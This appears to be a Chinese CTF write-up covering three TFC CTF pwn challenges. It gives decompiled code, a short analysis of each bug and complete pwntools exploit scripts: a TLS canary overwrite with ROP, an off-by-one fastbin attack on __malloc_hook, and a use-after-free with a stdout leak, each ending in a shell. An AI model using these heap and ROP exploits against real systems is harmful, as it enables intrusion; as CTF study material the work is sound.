# TFC CTF PWN

# GUARD-THE-BYPASS

136 points PWN

Luma 63 solves EASY

Guard this cookie.

Note: If you successfully create a working exploit in the provided Docker, ensure you try the exploit multiple times on the remote system if any issues arise.

检查保护:

[*] '/home/yhuan/Desktop/chall/GUARD-THE-BYPASS/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'.'

开启 canary

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v5; // [rsp+Ch] [rbp-14h] BYREF
  pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]
  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  puts("Welcome! Press 1 to start the chall.");
  __isoc99_scanf("%d", &v5);
  if ( v5 != 1 )
  {
    puts("Bye!");
    exit(0);
  }
  len = get_len();
  pthread_create(&newthread, 0LL, game, 0LL);
  pthread_join(newthread, 0LL);
  return v7 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall game(void *a1)
{
  __int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  memset(buf, 0, 32);
  getchar();
  read(0, buf, len);
  return v3 - __readfsqword(0x28u);
}

要点

pthread_create(&newthread, 0LL, game, 0LL);

read(0, buf, len);

len 是我们给予,所以溢出我们控制。题目没有泄露 canary 的地方,采取覆盖 tls 上 canary,在调试环节,有些地方需要给与合法地址,所以在栈上布置合理即可。

# exp:

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './libc.so.6'
host, port = "challs.tfcctf.com:30558".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
ru("Welcome! Press 1 to start the chall.\n")
pl = '1'
rdi = 0x0000000000401256
pg = elf.got['puts']
pp = elf.plt['puts']
sleep(0.1)
sl(pl)
# pl = 'testing~~~~'
sleep(0.1)
pl = (padding(0x28) + b'\x11'*8 + padding(0x8) + 
	p64(rdi+1) +p64(rdi) + p64(pg) + p64(pp) + p64(0x40132F) + 
	p64(0x850)*(0x4d8//8) + p64(elf.bss()+400)*(0x310//8) + b'\x11'*0x8)
print(hex(len(pl)))
# pause()
sla('Select the len: ',str(len(pl)))
sleep(0.1)
sl(pl)
puts = u64(rc(6).ljust(8,b'\x00'))
lg('puts')
libcbase = puts - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh'))
pl = padding(0x28) + b'\x11'*8 + padding(0x8)  + p64(rdi) + p64(binsh) + p64(system)
sl(pl)
it()

# VSPM

360 points PWN

Luma 39 solves MEDIUM

I got tired of remembering my passwords… Password managers are so useful!

检查保护:

[*] '/home/yhuan/Desktop/chall/vspm/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'

经典菜单题目,给的 libc 版本 2.30,但是没有 tcache 机制。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]
  v4 = __readfsqword(0x28u);
  sub_1289(a1, a2, a3);
  puts("Welcome to the Very Secure Password Manager!");
  puts("--------------------------------------------\n");
  puts("1. Save new password");
  puts("2. Check my passwords");
  puts("3. Delete credentials");
  puts("4. Exit");
  while ( 1 )
  {
    v3 = 0;
    printf("Input: ");
    __isoc99_scanf("%d", &v3);
    getchar();
    if ( v3 <= 0 || v3 > 4 )
      break;
    switch ( v3 )
    {
      case 4:
        Exit();
      case 3:
        Delete();
        break;
      case 1:
        Add();
        break;
      default:
        Check();
        break;
    }
  }
  puts("Not a valid choice :(");
  exit(0);
}
unsigned __int64 Add()
{
  unsigned int v1; // [rsp+8h] [rbp-68h] BYREF
  int i; // [rsp+Ch] [rbp-64h]
  __int64 v3; // [rsp+10h] [rbp-60h]
  __int64 v4; // [rsp+18h] [rbp-58h]
  __int64 v5; // [rsp+20h] [rbp-50h]
  __int64 v6; // [rsp+28h] [rbp-48h]
  __int64 v7; // [rsp+30h] [rbp-40h]
  __int64 v8; // [rsp+38h] [rbp-38h]
  __int64 v9; // [rsp+40h] [rbp-30h]
  __int64 v10; // [rsp+48h] [rbp-28h]
  __int64 v11; // [rsp+50h] [rbp-20h]
  __int64 v12; // [rsp+58h] [rbp-18h]
  unsigned __int64 v13; // [rsp+68h] [rbp-8h]
  v13 = __readfsqword(0x28u);
  for ( i = 0; i <= 9 && *((_QWORD *)&unk_4060 + 5 * i); ++i )
    ;
  if ( i == 10 )
  {
    puts("No more space to save passwords.");
    exit(0);
  }
  printf("\nSelect length: ");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 >= 0x79 )
  {
    puts("Sorry, not enough resources!");
    exit(0);
  }
  v3 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  *((_QWORD *)&unk_4060 + 5 * i) = malloc((int)v1);
  printf("Enter credentials: ");
  read(0, *((void **)&unk_4060 + 5 * i), (int)(v1 + 1));
  printf("Name of the credentials: ");
  read(0, (char *)&unk_4060 + 40 * i + 8, (int)(v1 + 1));
  return __readfsqword(0x28u) ^ v13;    
}

有 off by one 漏洞,free 处没漏洞点

因为没有 tcache 机制,所以可以使用 fastbin attack 攻击 malloc_hook,但是 size 大小被限制,所以需要用 off by one 修改 chunksize,置入 unsortedbin 内,然后堆重叠,修改 fastbin fd 到 malloc_hook-0x23 即可

# exp:

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './chall'
libc = './libc.so.6'
host, port = "challs.tfcctf.com:30956".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
def menu(idx):
	sla('Input: ',str(idx))
def add(size,password,name):
	menu(1)
	sla('Select length: ',str(size))
	sa('Enter credentials: ',password)
	sa('Name of the credentials: ',name)
def show():
	menu(2)
def dele(idx):
	menu(3)
	sla("Select index: ",str(idx))
# add(0x18,b'a',b'b')
add(0x18,b'a',b'b')
add(0x48,b'aaaa',b'bbbb')
add(0x18,p64(0),b'b')
add(0x18,p64(0),b'b')
add(0x18,p64(0),b'b')
add(0x28,p64(0),b'b')
dele(0)
pl = padding(0x18) + b'\x91'
add(0x18,pl,b'b')
dele(1)
add(0x18,b'deadbeef',b'b')
show()
ru(b'deadbeef')
libcbase = u64(rc(6).ljust(8,b'\0')) - 96 - 0x10 - libc.sym['__malloc_hook'] - 0x80
lg('libcbase')
malloc_hook = libc.sym['__malloc_hook'] + libcbase
og = [0x42e69,0x42e7a,0x6f821,0x6f82f,0x6f834,0xc4dbf,0xc4ddf,0xc4de6,0xe1fa1,0xe1fad]
ogg = libcbase + og[8]
memalign_hook_ = libc.sym['memalign_hook_ini'] + libcbase
realloc_hook_ini = libc.sym['realloc_hook_ini'] + libcbase
pl = padding(0x20) + p64(0) + p64(0x41) + padding(0x10) + p64(0) + p64(0x71)
add(len(pl), pl ,'b')
dele(3)
dele(2)
pl = padding(0x10) + p64(0) + p64(0x71) + p64(malloc_hook-0x23)
add(0x38, pl, 'b')
add(0x68,'b','b')
pl = p8(0)*3 + p64(memalign_hook_) + p64(ogg) + p64(ogg)
add(0x68,pl,'b')
# # pause()
# # dele(2)
# debug()
menu(1)
sla('Select length: ','32')
# sla('Enter credentials: ','a')
it()

# MCBACK2DABASICS

491 points PWN

Mcsky23 10 solves MEDIUM

Back 2 the chunks back 2 the muney back 2 the writes I don’t listen 2 u when u corrupted cause u just talkin out of bytes You’ll clear some certain bins just to see us overwrite…

[*] '/home/yhuan/Desktop/chall/mcback2dabasics/handout/chall1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'/home/yhuan/glibc-all-in-one/libs/2.24-3ubuntu1_amd64'
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]
  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  for ( i = 0; i <= 63; ++i )
    qword_202060[i] = 0LL;
  while ( 1 )
  {
    while ( 1 )
    {
      meau();
      _isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      dele();
    }
    if ( v3 == 3 )
    {
      puts("Is that all you got? Bye!");
      exit(0);
    }
    if ( v3 == 1 )
      add();
    else
      puts("Invalid choice");
  }
}
unsigned __int64 sub_B12()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);
  puts("Which one?");
  printf("[+]> ");
  _isoc99_scanf("%d", &v1);
  if ( v1 > 0x3F )
  {
    puts("Invalid index");
    exit(0);
  }
  free((void *)qword_202060[v1]);
  puts("Job done!");
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 add()
{
  int v0; // eax
  _DWORD nbytes[3]; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  if ( dword_20204C > 63 )
  {
    puts("No more memory available");
    exit(0);
  }
  puts("How much?");
  printf("[+]> ");
  _isoc99_scanf("%d", nbytes);
  if ( nbytes[0] > 0x70u )
  {
    puts("Nope, too big");
    exit(0);
  }
  *(_QWORD *)&nbytes[1] = malloc((unsigned int)(nbytes[0] + 1));
  puts("Data?");
  read(0, *(void **)&nbytes[1], nbytes[0]);
  *(_BYTE *)(nbytes[0] + *(_QWORD *)&nbytes[1]) = 0;
  v0 = dword_20204C++;
  qword_202060[v0] = *(_QWORD *)&nbytes[1];
  puts("Job done!");
  return __readfsqword(0x28u) ^ v3;
}

规定 chunk 大小,程序有 uaf 漏洞,不能 show,所以打 IO,将 write_base 微改一下,泄露处 libc 地址即可,然后 fastbin attack 修改 malloc 为 ogg 即可

但是此题需要仔细调整 fastbin fd 和 unsorted fd

add(0x60,b'a')# 0
add(0x60,b'b')# 1
add(0x40,b'c')# 2
add(0x60,b'd'*0x10 + p64(0) + p64(0x71))# 3
add(0x60,b'e'*0x8 + p64(0x71))# 4
add(0x60,b'f'*0x8 + p64(0x61))# 5
delete(3)
delete(4)
delete(3)
add(0x60,b'\xb0')
add(0x60,b'd')
add(0x60,b'e')
add(0x60,b'f'*0x58 + p64(0xe1))
add(0x60,'g')# 10
add(0x50,b'h'*0x18+p64(0x41))# 11
add(0x50,'i')# 12
delete(10)
delete(5)
add(0x40,b'j'*0x38+p64(0x61))
add(0x10,b'k'*0x8+p64(0x61))
delete(12)
delete(11)
delete(12)
add(0x50,b'\x70')# 13
add(0x50,b'l')# 14
add(0x50,b'm')# 15
add(0x50,p64(0) + p64(0x71) + b'\xbd\x25')# 15

我的调整如上方案,若有大佬有好的调整方案欢迎联系

# exp:

n
'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './chall1'
libc = '/home/yhuan/glibc-all-in-one/libs/2.24-9ubuntu2_amd64/libc.so.6'
host, port = "challs.tfcctf.com:32324".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
def add(size,content):
    sla(b"[+]> ",b"1")
    sla(b"[+]> ",str(size).encode())
    sa(b"Data?",content)
def quit():
    sla(b"[+]> ",b"3")
def delete(idx):
    sla(b"[+]> ",b"2")
    sla(b"[+]> ",str(idx).encode())
add(0x60,b'a')# 0
add(0x60,b'b')# 1
add(0x40,b'c')# 2
add(0x60,b'd'*0x10 + p64(0) + p64(0x71))# 3
add(0x60,b'e'*0x8 + p64(0x71))# 4
add(0x60,b'f'*0x8 + p64(0x61))# 5
delete(3)
delete(4)
delete(3)
add(0x60,b'\xb0')
add(0x60,b'd')
add(0x60,b'e')
add(0x60,b'f'*0x58 + p64(0xe1))
add(0x60,'g')# 10
add(0x50,b'h'*0x18+p64(0x41))# 11
add(0x50,'i')# 12
delete(10)
delete(5)
add(0x40,b'j'*0x38+p64(0x61))
add(0x10,b'k'*0x8+p64(0x61))
delete(12)
delete(11)
delete(12)
add(0x50,b'\x70')# 13
add(0x50,b'l')# 14
add(0x50,b'm')# 15
add(0x50,p64(0) + p64(0x71) + b'\xbd\x25')# 15
debug()
add(0x60,'win')
add(0x61,b"\x00"*0x33+p64(0xfbad1800) + p64(0) * 3 + p8(0x20))
# ru('\x00\x18\xad\xfb')
rc(0x20-4)
libcbase = u64(rc(6).ljust(8,b'\x00')) - libc.sym['_IO_2_1_stdout_'] - 0x20
lg('libcbase')
# pause()
og = [0xf1919]
ogg = libcbase + og[0]
malloc_hook = libcbase + libc.sym['__malloc_hook']
delete(0)
delete(1)
delete(0)
add(0x60,p64(malloc_hook-0x23))
add(0x60,'next')
add(0x60,'next')
pl = p8(0)*3 + p64(0) + p64(0) + p64(ogg)
add(0x60,pl)
sla(b"[+]> ",b"1")
sla(b"[+]> ",str(32).encode())
it()

此题,远程并没有给 libc 文件,知道是 ubuntu 17.04 版本,若打远程需要进行多次尝试,并且脚本在开启 aslr 情况下,需要 1/16 概率